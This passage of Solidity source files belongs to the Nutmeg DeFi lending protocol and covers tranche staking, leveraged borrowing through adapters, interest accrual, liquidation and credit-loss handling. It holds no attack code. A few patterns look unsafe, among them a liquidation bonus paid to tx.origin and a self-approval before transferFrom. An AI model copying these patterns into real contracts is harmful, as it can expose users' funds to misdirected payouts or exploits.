IERC20(nut).transferFrom(address(this), lender, totalAmount),
'NutDist transfer failed'
);
}
}
/// @dev getCollectionAmount get the # of NUT tokens for collection
function getCollectionAmount() external view returns(uint) {
uint epochId = (block.number.sub(DIST_START_BLOCK)).div(BLOCKS_PER_EPOCH);
require(epochId > 0, 'getCollectionAmount: distribution is completed');
address lender = msg.sender;
uint numOfPools = pools.length < MAX_NUM_POOLS ? pools.length : MAX_NUM_POOLS;
uint totalAmount;
for (uint i = 0; i < numOfPools; i++) {
address pool = pools[i];
for (uint j = 0; j < epochId && j < NUM_EPOCH; j++) {
uint vtb = getVtb(pool, lender, j);
if (vtb > 0 && getTotalVtb(pool, j) > 0) {
uint amount = vtb.mul(totalNutMap[pool][j]).div(getTotalVtb(pool, j));
totalAmount = totalAmount.add(amount);
}
}
}
return totalAmount;
}
function getVtb(address pool, address lender, uint i) public view returns(uint) {
require(i < NUM_EPOCH, 'vtb idx err');
return i < futureVtbEpoch[pool][lender] ?
vtbMap[pool][lender][i] : futureVtbMap[pool][lender];
}
function getTotalVtb(address pool, uint i) public view returns (uint) {
require(i < NUM_EPOCH, 'totalVtb idx err');
return i < futureTotalVtbEpoch[pool] ?
totalVtbMap[pool][i] : futureTotalVtbMap[pool];
}
//@notice output version string
function getVersionString()
external virtual pure returns (string memory) {
return "1";
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
interface INutDistributor {
function updateVtb(address token, address lender, uint incAmount, uint decAmount) external;
function inNutDistribution() external view returns(bool);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
interface IPriceOracle {
function getPrice(address token) external view returns (uint);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/proxy/Initializable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import './lib/Governable.sol';
import './lib/Math.sol';
import "./interfaces/IAdapter.sol";
import "./interfaces/INutmeg.sol";
import "./interfaces/INutDistributor.sol";
import "./interfaces/IPriceOracle.sol";
contract Nutmeg is Initializable, Governable, INutmeg {
using SafeMath for uint;
using SafeERC20 for IERC20;
address public nutDistributor;
address public nut;
uint private constant INVALID_POSITION_ID = type(uint).max;
uint private constant NOT_LOCKED = 0;
uint private constant LOCKED = 1;
uint private constant TRANCHE_BBB = uint(Tranche.BBB);
uint private constant TRANCHE_A = uint(Tranche.A);
uint private constant TRANCHE_AA = uint(Tranche.AA);
uint private constant MULTIPLIER = 10**18;
uint private constant NUM_BLOCK_PER_YEAR = 2102400;
address private constant INVALID_ADAPTER = address(2);
uint public constant MAX_NUM_POOL = 256;
uint public constant LIQUIDATION_COMMISSION = 5;
uint public constant MAX_INTEREST_RATE_PER_BLOCK = 100000; // 1000.00%
uint public constant MIN_INTEREST_RATE_PER_BLOCK = 500; // 5.00%
uint public constant VERSION_ID = 1;
uint public POOL_LOCK;
uint public EXECUTION_LOCK;
uint public STAKE_COUNTER;
uint public POSITION_COUNTER;
uint public CURR_POSITION_ID;
address public CURR_SENDER;
address public CURR_ADAPTER;
// treasury pool array and map
address[] public pools; // array of treasury pools
mapping(address => Pool) public poolMap; // baseToken => pool mapping.
// stake
mapping(address => mapping (address => Stake[3])) public stakeMap; // baseToken => sender => tranche.
mapping(address => uint[]) lenderStakeMap; // all stakes of a lender. address => stakeId
// adapter
address[] public adapters;
mapping(address => bool) public adapterMap;
// position
mapping(uint => Position) public positionMap;
mapping(address => uint[]) borrowerPositionMap; // all positions of a borrower. address => positionId
mapping(address => mapping(address => uint)) minNut4Borrowers; // pool => adapter => uint
/// @dev Reentrancy lock guard.
modifier poolLock() {
require(POOL_LOCK == NOT_LOCKED, 'pl lck');
POOL_LOCK = LOCKED;
_;
POOL_LOCK = NOT_LOCKED;
}
/// @dev Reentrancy lock guard for execution.
modifier inExecution() {
require(CURR_POSITION_ID != INVALID_POSITION_ID, 'not exc');
require(CURR_ADAPTER == msg.sender, 'bad adpr');
require(EXECUTION_LOCK == NOT_LOCKED, 'exc lock');
EXECUTION_LOCK = LOCKED;
_;
EXECUTION_LOCK = NOT_LOCKED;
}
/// @dev Accrue interests in a pool
modifier accrue(address token) {
accrueInterest(token);
_;
}
/// @dev Initialize the smart contract, using msg.sender as the first governor.
function initialize(address _governor) external initializer {
__Governable__init(_governor);
POOL_LOCK = NOT_LOCKED;
EXECUTION_LOCK = NOT_LOCKED;
STAKE_COUNTER = 1;
POSITION_COUNTER = 1;
CURR_POSITION_ID = INVALID_POSITION_ID;
CURR_ADAPTER = INVALID_ADAPTER;
}
function setNutDistributor(address addr) external onlyGov {
nutDistributor = addr;
}
function setNut(address addr) external onlyGov {
nut = addr;
}
function setMinNut4Borrowers(address poolAddr, address adapterAddr, uint val) external onlyGov {
require(adapterMap[adapterAddr], 'setMin no adpr');
Pool storage pool = poolMap[poolAddr];
require(pool.isExists, 'setMin no pool');
minNut4Borrowers[poolAddr][adapterAddr] = val;
}
/// @notice Get all stake IDs of a lender
function getStakeIds(address lender) external override view returns (uint[] memory){
return lenderStakeMap[lender];
}
/// @notice Get all position IDs of a borrower
function getPositionIds(address borrower) external override view returns (uint[] memory){
return borrowerPositionMap[borrower];
}
/// @notice Return current position ID
function getCurrPositionId() external override view returns (uint) {
return CURR_POSITION_ID;
}
/// @notice Return next position ID
function getNextPositionId() external override view returns (uint) {
return POSITION_COUNTER;
}
/// @notice Get position information
function getPosition(uint id) external override view returns (Position memory) {
return positionMap[id];
}
/// @dev get current sender
function getCurrSender() external override view returns (address) {
return CURR_SENDER;
}
/// @dev Get all treasury pools
function getPools() external view returns (address[] memory) {
return pools;
}
/// @dev Get a specific pool given address
function getPool(address addr) external view returns (Pool memory) {
return poolMap[addr];
}
/// @dev Add a new treasury pool.
/// @param token The underlying base token for the pool, e.g., DAI.
/// @param interestRate The interest rate per block of Tranche A.
function addPool(address token, uint interestRate)
external poolLock onlyGov {
require(pools.length < MAX_NUM_POOL, 'addPl pl > max');
require(_isInterestRateValid(interestRate), 'addPl bad ir');
Pool storage pool = poolMap[token];
require(!pool.isExists, 'addPl pool exts');
pool.isExists = true;
pool.baseToken = token;
pool.interestRates = [interestRate.div(2), interestRate, interestRate.mul(2)];
pools.push(token);
emit addPoolEvent(token, interestRate);
pool.lossMultiplier = [ MULTIPLIER, MULTIPLIER, MULTIPLIER ];
}
/// @dev Update interest rate of the pool
/// @param token The underlying base token for the pool, e.g., DAI.
/// @param interestRate The interest rate per block of Tranche A. Input 316 for 3.16% APY
function updateInterestRates(address token, uint interestRate)
external poolLock onlyGov {
require(_isInterestRateValid(interestRate), 'upIR bad ir');
Pool storage pool = poolMap[token];
require(pool.isExists, 'upIR no pool');
pool.interestRates = [interestRate.div(2), interestRate, interestRate.mul(2)];
}
function _isInterestRateValid(uint interestRate)
internal pure returns(bool) {
return (interestRate <= MAX_INTEREST_RATE_PER_BLOCK &&
interestRate >= MIN_INTEREST_RATE_PER_BLOCK);
}
/// @notice Stake to a treasury pool.
/// @param token The contract address of the base token of the pool.
/// @param tranche The tranche of the pool, 0 - AA, 1 - A, 2 - BBB.
/// @param principal The amount of principal
function stake(address token, uint tranche, uint principal)
external poolLock accrue(token) {
require(tranche < 3, 'stk bad trnch');
require(principal > 0, 'stk bad prpl');
Pool storage pool = poolMap[token];
require(pool.isExists, 'stk no pool');
if (tranche == TRANCHE_BBB) {
require(principal.add(pool.principals[TRANCHE_BBB]) <= pool.principals[TRANCHE_AA],
'stk BBB full');
}
// 1. transfer the principal to the pool.
IERC20(pool.baseToken).safeTransferFrom(msg.sender, address(this), principal);
// 2. add or update a stake
Stake storage stk = stakeMap[token][msg.sender][tranche];
uint sumIpp = pool.sumIpp[tranche];
uint scaledPrincipal = 0;
if (stk.id == 0) { // new stk
stk.id = STAKE_COUNTER++;
stk.status = StakeStatus.Open;
stk.owner = msg.sender;
stk.pool = token;
stk.tranche = tranche;
} else { // add liquidity to an existing stk
scaledPrincipal = _scaleByLossMultiplier( stk, stk.principal );
uint interest = scaledPrincipal.mul( sumIpp.sub(stk.sumIppStart)).div(MULTIPLIER);
stk.earnedInterest = _scaleByLossMultiplier(stk, stk.earnedInterest ).add(interest);
}
stk.sumIppStart = sumIpp;
stk.principal = scaledPrincipal.add(principal);
stk.lossZeroCounterBase = pool.lossZeroCounter[tranche];
stk.lossMultiplierBase = pool.lossMultiplier[tranche];
lenderStakeMap[stk.owner].push(stk.id);
// update pool information
pool.principals[tranche] = pool.principals[tranche].add(principal);
updateInterestRateAdjustment(token);
if (INutDistributor(nutDistributor).inNutDistribution()) {
INutDistributor(nutDistributor).updateVtb(token, stk.owner, principal, 0);
}
emit stakeEvent(token, msg.sender, tranche, principal, stk.id);
}
/// @notice Unstake from a treasury pool.
/// @param token The address of the pool.
/// @param tranche The tranche of the pool, 0 - AA, 1 - A, 2 - BBB.
/// @param amount The amount of principal that owner want to withdraw
function unstake(address token, uint tranche, uint amount)
external poolLock accrue(token) {
require(tranche < 3, 'unstk bad trnch');
Pool storage pool = poolMap[token];
Stake storage stk = stakeMap[token][msg.sender][tranche];
require(stk.id > 0, 'unstk no dpt');
uint activePrincipal = _scaleByLossMultiplier( stk, stk.principal );
require(amount > 0 && amount <= activePrincipal, 'unstk bad amt');
require(stk.status == StakeStatus.Open, 'unstk bad status');
// get the available amount to remove
uint withdrawAmt = _getWithdrawAmount(poolMap[stk.pool], amount);
uint interest = activePrincipal.mul(pool.sumIpp[tranche].sub(stk.sumIppStart)).div(MULTIPLIER);
uint totalInterest = _scaleByLossMultiplier(
stk, stk.earnedInterest
).add(interest);
if (totalInterest > pool.interests[tranche]) { // unlikely, but just in case.
totalInterest = pool.interests[tranche];
}
// transfer liquidity to the lender
uint actualWithdrawAmt = withdrawAmt.add(totalInterest);
IERC20(pool.baseToken).safeTransfer(msg.sender, actualWithdrawAmt);
// update stake information
stk.principal = activePrincipal.sub(withdrawAmt);
stk.sumIppStart = pool.sumIpp[tranche];
stk.lossZeroCounterBase = pool.lossZeroCounter[tranche];
stk.lossMultiplierBase = pool.lossMultiplier[tranche];
stk.earnedInterest = 0;
if (stk.principal == 0) {
stk.status = StakeStatus.Closed;
}
// update pool principal and interest information
pool.principals[tranche] = pool.principals[tranche].sub(withdrawAmt);
pool.interests[tranche] = pool.interests[tranche].sub(totalInterest);
updateInterestRateAdjustment(token);
if (INutDistributor(nutDistributor).inNutDistribution() && withdrawAmt > 0) {
INutDistributor(nutDistributor).updateVtb(token, stk.owner, 0, withdrawAmt);
}
emit unstakeEvent(token, msg.sender, tranche, withdrawAmt, stk.id);
}
function _scaleByLossMultiplier(Stake memory stk, uint quantity) internal view returns (uint) {
Pool memory pool = poolMap[stk.pool];
return stk.lossZeroCounterBase < pool.lossZeroCounter[stk.tranche] ? 0 :
quantity.mul(
pool.lossMultiplier[stk.tranche]
).div(
stk.lossMultiplierBase
);
}
/// @notice Accrue interest for a given pool.
/// @param token Address of the pool.
function accrueInterest(address token) internal {
Pool storage pool = poolMap[token];
require(pool.isExists, 'accrIr no pool');
uint totalLoan = Math.sumOf3UintArray(pool.loans);
uint currBlock = block.number;
if (currBlock <= pool.latestAccruedBlock) return;
if (totalLoan > 0 ) {
uint interestRate = pool.interestRates[TRANCHE_A];
if (!pool.isIrAdjustPctNegative) {
interestRate = interestRate.mul(pool.irAdjustPct.add(100)).div(100);
} else {
interestRate = interestRate.mul(uint(100).sub(pool.irAdjustPct)).div(100);
}
uint rtb = interestRate.mul(currBlock.sub(pool.latestAccruedBlock));
// update pool sumRtb.
pool.sumRtb = pool.sumRtb.add(rtb);
// update tranche sumIpp.
for (uint idx = 0; idx < pool.loans.length; idx++) {
if (pool.principals[idx] > 0) {
uint interest = (pool.loans[idx].mul(rtb)).div(NUM_BLOCK_PER_YEAR.mul(10000));
pool.interests[idx] = pool.interests[idx].add(interest);
pool.sumIpp[idx]= pool.sumIpp[idx].add(interest.mul(MULTIPLIER).div(pool.principals[idx]));
}
}
}
pool.latestAccruedBlock = block.number;
}
/// @notice Get pool information
/// @param token The base token
function getPoolInfo(address token) external view override returns(uint, uint, uint) {
Pool memory pool = poolMap[token];
require(pool.isExists, 'getPolInf no pol');
return (Math.sumOf3UintArray(pool.principals),
Math.sumOf3UintArray(pool.loans),
pool.totalCollateral);
}
/// @notice Get interest a position need to pay
/// @param token Address of the pool.
/// @param posId Position ID.
function getPositionInterest(address token, uint posId) public override view returns(uint) {
Pool storage pool = poolMap[token];
require(pool.isExists, 'getPosIR no pool');
Position storage pos = positionMap[posId];
require(pos.baseToken == pool.baseToken, 'getPosIR bad match');
return Math.sumOf3UintArray(pos.loans).mul(pool.sumRtb.sub(pos.sumRtbStart)).div(
NUM_BLOCK_PER_YEAR.mul(10000)
);
}
/// @dev Update the interest rate adjustment of the pool
/// @param token Address of the pool
function updateInterestRateAdjustment(address token) public {
Pool storage pool = poolMap[token];
require(pool.isExists, 'updtIRAdj no pool');
uint totalPrincipal = Math.sumOf3UintArray(pool.principals);
uint totalLoan = Math.sumOf3UintArray(pool.loans);
if (totalPrincipal > 0 ) {
uint urPct = totalLoan >= totalPrincipal ? 100 : totalLoan.mul(100).div(totalPrincipal);
if (urPct > 90) { // 0% + 50 * (UR - 90%)
pool.irAdjustPct = urPct.sub(90).mul(50);
pool.isIrAdjustPctNegative = false;
} else if (urPct < 90) { // UR - 90%
pool.irAdjustPct = (uint(90).sub(urPct));
pool.isIrAdjustPctNegative = true;
}
}
}
function _getWithdrawAmount(Pool memory pool, uint amount) internal pure returns (uint) {
uint availPrincipal = Math.sumOf3UintArray(pool.principals).sub(
Math.sumOf3UintArray(pool.loans)
);
return amount > availPrincipal ? availPrincipal : amount;
}
/// @dev Get the collateral ratio of the pool.
/// @param baseToken Base token of the pool.
/// @param baseAmt The collateral from the borrower.
function _getCollateralRatioPct(address baseToken, uint baseAmt) public view returns (uint) {
Pool storage pool = poolMap[baseToken];
require(pool.isExists, '_getCollRatPct no pool');
uint totalPrincipal = Math.sumOf3UintArray(pool.principals);
uint totalLoan = Math.sumOf3UintArray(pool.loans);
uint urPct = (totalPrincipal == 0) ? 100 : ((totalLoan.add(baseAmt)).mul(100)).div(totalPrincipal);
if (urPct > 100) { // not likely, but just in case.
urPct = 100;
}
if (urPct > 90) { // 10% + 9 * (UR - 90%)
return (urPct.sub(90).mul(9)).add(10);
}
// 10% - 0.1 * (90% - UR)
return (urPct.div(10)).add(1);
}
/// @notice Get the maximum available borrow amount
/// @param baseToken Base token of the pool
/// @param baseAmt The collateral from the borrower
function getMaxBorrowAmount(address baseToken, uint baseAmt)
public override view returns (uint) {
uint crPct = _getCollateralRatioPct(baseToken, baseAmt);
return (baseAmt.mul(100).div(crPct)).sub(baseAmt);
}
/// @notice Get stakes of a user in a pool
/// @param token The address of the pool
/// @param owner The address of the owner
function getStake(address token, address owner) public view returns (Stake[3] memory) {
return stakeMap[token][owner];
}
/// @dev Add adapter to Nutmeg
/// @param token The address of the adapter
function addAdapter(address token) external poolLock onlyGov {
adapters.push(token);
adapterMap[token] = true;
}
/// @dev Remove adapter from Nutmeg
/// @param token The address of the adapter
function removeAdapter(address token) external poolLock onlyGov {
adapterMap[token] = false;
}
/// @notice Borrow tokens from the pool. Must only be called by adapter while under execution.
/// @param baseToken The token to borrow from the pool.
/// @param collToken The token borrowers got from the 3rd party pool.
/// @param baseAmt The amount of collateral from borrower.
/// @param borrowAmt The amount of tokens to borrow, x time leveraged already.
function borrow(address baseToken, address collToken, uint baseAmt, uint borrowAmt)
external override accrue(baseToken) inExecution {
// check pool and position.
Pool storage pool = poolMap[baseToken];
require(pool.isExists, 'brw no pool');
Position storage position = positionMap[CURR_POSITION_ID];
require(position.baseToken == address(0), 'brw no rebrw');
// check borrowAmt
uint maxBorrowAmt = getMaxBorrowAmount(baseToken, baseAmt);
require(borrowAmt <= maxBorrowAmt, "brw too bad");
require(borrowAmt > baseAmt, "brw brw < coll");
// check available principal per tranche.
uint[3] memory availPrincipals;
for (uint i = 0; i < 3; i++) {
availPrincipals[i] = pool.principals[i].sub(pool.loans[i]);
}
uint totalAvailPrincipal = Math.sumOf3UintArray(availPrincipals);
require(borrowAmt <= totalAvailPrincipal, 'brw asset low');
// calculate loan amount from each tranche.
uint[3] memory loans;
for (uint i = 0; i < 3; i++) {
loans[i] = borrowAmt.mul(availPrincipals[i]).div(totalAvailPrincipal);
}
loans[2] = borrowAmt.sub(loans[0].add(loans[1])); // handling rounding numbers
// transfer base tokens from borrower to contract as the collateral.
IERC20(pool.baseToken).safeApprove(address(this), 0);
IERC20(pool.baseToken).safeApprove(address(this), baseAmt);
IERC20(pool.baseToken).safeTransferFrom(position.owner, address(this), baseAmt);
// transfer borrowed assets to the adapter
IERC20(pool.baseToken).safeTransfer(msg.sender, borrowAmt);
// update position information
position.status = PositionStatus.Open;
position.baseToken = pool.baseToken;
position.collToken = collToken;
position.baseAmt = baseAmt;
position.borrowAmt = borrowAmt;
position.loans = loans;
position.sumRtbStart = pool.sumRtb;
borrowerPositionMap[position.owner].push(position.id);
// update pool information
for (uint i = 0; i < 3; i++) {
pool.loans[i] = pool.loans[i].add(loans[i]);
}
pool.totalCollateral = pool.totalCollateral.add(baseAmt);
updateInterestRateAdjustment(baseToken);
}
function _getRepayAmount(uint[3] memory loans, uint totalAmt)
public pure returns(uint[3] memory) {
uint totalLoan = Math.sumOf3UintArray(loans);
uint amount = totalLoan < totalAmt ? totalLoan : totalAmt;
uint[3] memory repays = [uint(0), uint(0), uint(0)];
for (uint i; i < 3; i++) {
repays[i] = (loans[i].mul(amount)).div(totalLoan);
}
repays[2] = amount.sub(repays[0].add(repays[1]));
return repays;
}
/// @notice Repay tokens to the pool and close the position. Must only be called while under execution.
/// @param baseToken The token to borrow from the pool.
/// @param repayAmt The amount of base token repaid from adapter.
function repay(address baseToken, uint repayAmt)
external override accrue(baseToken) inExecution {
Position storage pos = positionMap[CURR_POSITION_ID];
Pool storage pool = poolMap[pos.baseToken];
require(pool.isExists, 'rpy no pool');
require(adapterMap[pos.adapter] && msg.sender == pos.adapter, 'repay: no such adapter');
uint totalLoan = Math.sumOf3UintArray(pos.loans); // owe to lenders
uint interest = getPositionInterest(pool.baseToken, pos.id); // already paid to lenders
uint totalRepayAmt = repayAmt.add(pos.baseAmt).sub(interest); // total amount used for repayment
uint change = totalRepayAmt > totalLoan ? totalRepayAmt.sub(totalLoan) : 0; // profit of the borrower
// transfer total redeemed amount from adapter to the pool
IERC20(baseToken).safeTransferFrom(msg.sender, address(this), repayAmt);
if (totalRepayAmt < totalLoan) {
pos.repayDeficit = totalLoan.sub(totalRepayAmt);
}
uint[3] memory repays = _getRepayAmount(pos.loans, repayAmt);
// update position information
pos.status = PositionStatus.Closed;
for (uint i; i < 3; i++) {
pos.loans[i] = pos.loans[i].sub(repays[i]);
}
// update pool information
pool.totalCollateral = pool.totalCollateral.sub(pos.baseAmt);
for (uint i; i < 3; i++) {
pool.loans[i] = pool.loans[i].sub(repays[i]);
}
// send profit, if any to the borrower.
if (change > 0) {
IERC20(baseToken).safeTransfer(pos.owner, change);
}
}
/// @notice Liquidate a position when conditions are satisfied
/// @param baseToken The base token of the pool.
/// @param liquidateAmt The repay amount from adapter.
function liquidate( address baseToken, uint liquidateAmt)
external override accrue(baseToken) inExecution {
Position storage pos = positionMap[CURR_POSITION_ID];
Pool storage pool = poolMap[baseToken];
require(pool.isExists, 'lqt no pool');
require(pool.baseToken == baseToken, "lqt base no match");
require(adapterMap[pos.adapter] && msg.sender == pos.adapter, 'lqt no adpr');
require(liquidateAmt > 0, 'lqt bad rpy');
// transfer liquidateAmt of base tokens from adapter to pool.
IERC20(baseToken).safeTransferFrom(msg.sender, address(this), liquidateAmt);
uint totalLoan = Math.sumOf3UintArray(pos.loans);
uint interest = getPositionInterest(pool.baseToken, pos.id);
uint totalRepayAmt = liquidateAmt.add(pos.baseAmt).sub(interest); // total base tokens from liquidated
uint bonusAmt = LIQUIDATION_COMMISSION.mul(totalRepayAmt).div(100); // bonus for liquidator.
uint repayAmt = totalRepayAmt.sub(bonusAmt); // amount to pay lenders and the borrower
uint change = totalLoan < repayAmt ? repayAmt.sub(totalLoan) : 0;
uint[3] memory repays = _getRepayAmount(pos.loans, liquidateAmt);
// transfer bonus to the liquidator.
IERC20(baseToken).safeTransfer(tx.origin, bonusAmt);
// update position information
pos.status = PositionStatus.Liquidated;
for (uint i; i < 3; i++) {
pos.loans[i] = pos.loans[i].sub(repays[i]);
}
// update pool information
pool.totalCollateral = pool.totalCollateral.sub(pos.baseAmt);
for (uint i; i < 3; i++) {
pool.loans[i] = pool.loans[i].sub(repays[i]);
}
// send leftover to position owner
if (change > 0) {
IERC20(baseToken).safeTransfer(pos.owner, change);
}
if (totalRepayAmt < totalLoan) {
pos.repayDeficit = totalLoan.sub(totalRepayAmt);
}
}
/// @notice Settle credit event callback
/// @param baseToken Base token of the pool.
/// @param collateralLoss Loss to be distributed
/// @param poolLoss Loss to be distributed
function distributeCreditLosses( address baseToken, uint collateralLoss, uint poolLoss) external override accrue(baseToken) inExecution {
Pool storage pool = poolMap[baseToken];
require(pool.isExists, 'dstCrd no pool');
require(collateralLoss <= pool.totalCollateral, 'dstCrd col high');
if (collateralLoss >= 0) {
pool.totalCollateral = pool.totalCollateral.sub(collateralLoss);
}
if (poolLoss == 0) {
return;
}
uint totalPrincipal = Math.sumOf3UintArray(pool.principals);
uint runningLoss = poolLoss;
for (uint i = 0; i < 3; i++) {
uint j = 3 - i - 1;
// The running totals are based on the principal,
// however, when I calculate the multipliers, I
// take into account accured interest
uint tranchePrincipal = pool.principals[j];
uint trancheValue = pool.principals[j] + pool.interests[j];
// Do not scale pool.sumIpp. Since I am scaling the
// principal, this will cause the interest rate
// calcuations to take into account the losses when
// a lender position is unstaked.
if (runningLoss >= tranchePrincipal) {
pool.principals[j] = 0;
pool.interests[j] = 0;
pool.lossZeroCounter[j] = block.number;
pool.lossMultiplier[j] = MULTIPLIER;
runningLoss = runningLoss.sub(tranchePrincipal);
} else {
uint valueRemaining = tranchePrincipal.sub(runningLoss);
pool.principals[j] = pool.principals[j].mul(valueRemaining).div(trancheValue);
pool.interests[j] = pool.interests[j].mul(valueRemaining).div(trancheValue);
pool.lossMultiplier[j] = valueRemaining.mul(MULTIPLIER).div(trancheValue);
break;
}
}
// subtract the pool loss from the total loans
// this keeps principal - loans the same so that
// we have a correct accounting of the amount of
// liquidity available for borrows.
uint totalLoans = pool.loans[0].add(pool.loans[1]).add(pool.loans[2]);
totalPrincipal = (poolLoss <= totalPrincipal) ? totalPrincipal.sub(poolLoss) : 0;
totalLoans = (poolLoss <= totalLoans) ? totalLoans.sub(poolLoss) : 0;
for (uint i = 0; i < pool.loans.length; i++) {
pool.loans[i] = totalPrincipal == 0 ? 0 : totalLoans.mul(pool.principals[i]).div(totalPrincipal);
}
}
/// @notice Add collateral token to position. Must be called during execution.
/// @param posId Position id
/// @param collAmt The amount of the collateral token from 3rd party pool.
function addCollToken(uint posId, uint collAmt)
external override inExecution {
Position storage pos = positionMap[CURR_POSITION_ID];
require(pos.id == posId, "addCollTk bad pos");
pos.collAmt = collAmt;
}
function getEarnedInterest( address token, address owner, Tranche tranche ) external view returns (uint256) {
Pool storage pool = poolMap[token];
require(pool.isExists, 'gtErndIr no pool');
Stake memory stk = getStake(token, owner)[uint(tranche)];
return _scaleByLossMultiplier(
stk,
stk.earnedInterest.add(
stk.principal.mul(
pool.sumIpp[uint(tranche)].sub(stk.sumIppStart)
).div(MULTIPLIER))
);
}
/// -------------------------------------------------------------------
/// functions to adapter
function beforeExecution( uint posId, IAdapter adapter ) internal {
require(POOL_LOCK == NOT_LOCKED, 'pol lck');
POOL_LOCK = LOCKED;
address adapterAddr = address(adapter);
require(adapterMap[adapterAddr], 'no adpr');
if (posId == 0) {
// create a new position
posId = POSITION_COUNTER++;
positionMap[posId].id = posId;
positionMap[posId].owner = msg.sender;
positionMap[posId].adapter = adapterAddr;
} else {
require(posId < POSITION_COUNTER, 'no pos');
require(positionMap[posId].status == PositionStatus.Open, 'only open pos');
}
CURR_POSITION_ID = posId;
CURR_ADAPTER = adapterAddr;
CURR_SENDER = msg.sender;
}
function afterExecution() internal {
CURR_POSITION_ID = INVALID_POSITION_ID;
CURR_ADAPTER = INVALID_ADAPTER;
POOL_LOCK = NOT_LOCKED;
CURR_SENDER = address(0);
}
function openPosition( uint posId, IAdapter adapter, address baseToken, address collToken, uint baseAmt, uint borrowAmt ) external {
uint balance = IERC20(nut).balanceOf(msg.sender);
require(minNut4Borrowers[baseToken][address(adapter)] <= balance, 'NUT low');
beforeExecution(posId, adapter);
adapter.openPosition( baseToken, collToken, baseAmt, borrowAmt );
afterExecution();
}
function closePosition( uint posId, IAdapter adapter ) external returns (uint) {
beforeExecution(posId, adapter);
uint redeemAmt = adapter.closePosition();
afterExecution();
return redeemAmt;
}
function liquidatePosition( uint posId, IAdapter adapter ) external {
beforeExecution(posId, adapter);
adapter.liquidate();
afterExecution();
}
function settleCreditEvent( IAdapter adapter, address baseToken, uint collateralLoss, uint poolLoss ) onlyGov external {
beforeExecution(0, adapter);
adapter.settleCreditEvent( baseToken, collateralLoss, poolLoss );
afterExecution();
}
function getMaxUnstakePrincipal(address token, address owner, uint tranche) external view returns (uint) {
Stake memory stk = stakeMap[token][owner][tranche];
return _getWithdrawAmount(poolMap[stk.pool], stk.principal);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import "@openzeppelin/contracts/math/SafeMath.sol";
library Math {
using SafeMath for uint;
function sumOf3UintArray(uint[3] memory data) internal pure returns(uint) {
return data[0].add(data[1]).add(data[2]);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
interface IAdapter {
function openPosition( address baseToken, address collToken, uint collAmount, uint borrowAmount ) external;
function closePosition() external returns (uint);
function liquidate() external;
function settleCreditEvent(
address baseToken, uint collateralLoss, uint poolLoss) external;
event openPositionEvent(uint positionId, address caller, uint baseAmt, uint borrowAmount);
event closePositionEvent(uint positionId, address caller, uint amount);
event liquidateEvent(uint positionId, address caller);
event creditEvent(address token, uint collateralLoss, uint poolLoss);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
pragma experimental ABIEncoderV2;
interface INutmeg {
enum Tranche {AA, A, BBB}
enum StakeStatus {Uninitialized, Open, Closed, Settled}
enum PositionStatus {Uninitialized, Open, Closed, Liquidated, Settled}
struct Pool {
bool isExists;
address baseToken; // base token of this pool, e.g., WETH, DAI.
uint[3] interestRates; // interest rate per block of each tranche. supposed to be updated everyday.
uint[3] principals; // principals of each tranche, from lenders
uint[3] loans; // loans of each tranche, from borrowers.
uint[3] interests; // interests accrued from loans for each tranche.
uint totalCollateral; // total collaterals in base token from borrowers.
uint latestAccruedBlock; // the block number of the latest interest accrual action.
uint sumRtb; // sum of interest rate per block (after adjustment) times # of blocks
uint irAdjustPct; // interest rate adjustment in percentage, e.g., 1, 99.
bool isIrAdjustPctNegative; // whether interestRateAdjustPct is negative
uint[3] sumIpp; // sum of interest per principal.
uint[3] lossMultiplier;
uint[3] lossZeroCounter;
}
struct Stake {
uint id;
StakeStatus status;
address owner;
address pool;
uint tranche; // tranche of the pool, 0 - AA, 1 - A, 2 - BBB.
uint principal;
uint sumIppStart;
uint earnedInterest;
uint lossMultiplierBase;
uint lossZeroCounterBase;
}
struct Position {
uint id; // id of the position.
PositionStatus status; // status of the position, Open, Close, and Liquidated.
address owner; // borrower's address
address adapter; // adapter's address
address baseToken; // base token that the borrower borrows from the pool
address collToken; // collateral token that the borrower got from 3rd party pool.
uint[3] loans; // loans of all tranches
uint baseAmt; // amount of the base token the borrower put into pool as the collateral.
uint collAmt; // amount of collateral token the borrower got from 3rd party pool.
uint borrowAmt; // amount of base tokens borrowed from the pool.
uint sumRtbStart; // rate times block when the position is created.
uint repayDeficit; // repay pool loss
}
struct NutDist {
uint endBlock;
uint amount;
}
/// @dev Get all stake IDs of a lender
function getStakeIds(address lender) external view returns (uint[] memory);
/// @dev Get all position IDs of a borrower
function getPositionIds(address borrower) external view returns (uint[] memory);
/// @dev Get the maximum available borrow amount
function getMaxBorrowAmount(address token, uint collAmount) external view returns(uint);
/// @dev Get the current position while under execution.
function getCurrPositionId() external view returns (uint);
/// @dev Get the next position ID while under execution.
function getNextPositionId() external view returns (uint);
/// @dev Get the current sender while under execution
function getCurrSender() external view returns (address);
function getPosition(uint id) external view returns (Position memory);
function getPositionInterest(address token, uint positionId) external view returns(uint);
function getPoolInfo(address token) external view returns(uint, uint, uint);
/// @dev Add Collateral token from the 3rd party pool to a position
function addCollToken(uint posId, uint collAmt) external;
/// @dev Borrow tokens from the pool.
function borrow(address token, address collAddr, uint baseAmount, uint borrowAmount) external;
/// @dev Repays tokens to the pool.
function repay(address token, uint repayAmount) external;
/// @dev Liquidate a position when conditions are satisfied
function liquidate(address token, uint repayAmount) external;
/// @dev Settle credit event
function distributeCreditLosses( address baseToken, uint collateralLoss, uint poolLoss) external;
event addPoolEvent(address bank, uint interestRateA);
event stakeEvent(address bank, address owner, uint tranche, uint amount, uint depId);
event unstakeEvent(address bank, address owner, uint tranche, uint amount, uint depId);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../interfaces/ICERC20.sol";
import "../interfaces/IAdapter.sol";
import "../interfaces/INutmeg.sol";
import "../lib/Governable.sol";
import "../lib/Math.sol";
